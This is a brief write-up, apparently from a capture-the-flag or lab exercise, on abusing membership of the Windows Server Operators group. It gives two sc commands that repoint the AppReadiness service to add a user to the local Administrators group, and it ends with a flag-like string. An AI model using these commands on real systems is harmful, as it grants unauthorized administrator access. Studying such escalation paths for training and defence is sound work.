Allows to administer Windows servers withtout needing assignment of Domain Admin privs. It can log in locally to servers, including Domain Controllers.

Grants the SeBackupPrivilege and SeRestorePrivilege.

Writeup

sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
sc start AppReadiness

The service fails, its normal, we are now admins.

Modify the driver on which we can write.

→ S3rver_0perators_@ll_p0werfull!